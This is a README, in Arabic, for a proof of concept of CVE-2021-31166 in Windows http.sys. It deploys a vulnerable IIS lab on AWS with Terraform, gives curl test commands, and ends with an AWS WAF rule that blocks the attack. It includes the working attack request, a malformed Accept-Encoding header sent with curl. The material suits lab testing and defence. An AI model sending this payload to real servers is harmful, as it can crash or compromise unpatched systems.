
إثبات المفهوم لـ CVE-2021-31166 (http.sys RCE) مع نشر Terraform على AWS، بما في ذلك نصوص الاختبار وقاعدة WAFv2 لحظر الاستغلال.
هذا المستودع مستوحى من 0vercl0k لـ إثبات مفهوم لـ CVE-2021-31166 ("ثغرة تنفيذ التعليمات البرمجية عن بُعد في مكدس بروتوكول HTTP")، وهو إلغاء مرجع بعد الاستخدام في http.sys تم تصحيحه بواسطة Microsoft في مايو 2021.
git clone https://github.com/bgsilvait/WIn-CVE-2021-31166.git
cd WIn-CVE-2021-31166
terraform init
terraform plan
terraform apply --auto-approve
سيقوم Terraform بإنشاء مثيل EC2 مع Windows Server Core 20H2، وتثبيت IIS وإضافة أذونات SSM لفتح جلسة Powershell ويب من وحدة تحكم AWS. كما سيقوم بإنشاء موازن تحميل تطبيقات واستخدام المثيل كهدف. افتراضيًا، ستضيف فقط كمسموح به للوصول على .
مجموعة الأمان#Define Values from Terraform Output
ALB=$(terraform output -raw lb_dns_name)
EC2IP=$(terraform output -json public_ip | jq -r '.[0]')
#Testing to ALB
while true; do curl -I $ALB --connect-timeout 1 ; done
#Testing Directly to EC2'
while true; do curl -I $EC2IP --connect-timeout 1 ; done
#Testing to ALB
curl -i $ALB -H "Accept-Encoding: doar-e, ftw, imo, ,"
#Testing Directly to EC2'
curl -i $EC2IP -H "Accept-Encoding: doar-e, ftw, imo, ,"
{
"Name": "cve-block",
"Priority": 0,
"Statement": {
"ByteMatchStatement": {
"SearchString": "doar-e, ftw, imo, ,",
"FieldToMatch": {
"SingleHeader": {
"Name": "accept-encoding"
}
},
"TextTransformations": [
{
"Priority": 0,
"Type": "NONE"
}
],
"PositionalConstraint": "EXACTLY"
}
},
"Action": {
"Block": {
"CustomResponse": {
"ResponseCode": 418,
"CustomResponseBodyKey": "418"
}
}
},
"VisibilityConfig": {
"SampledRequestsEnabled": true,
"CloudWatchMetricsEnabled": true,
"MetricName": "cve-block"
}
}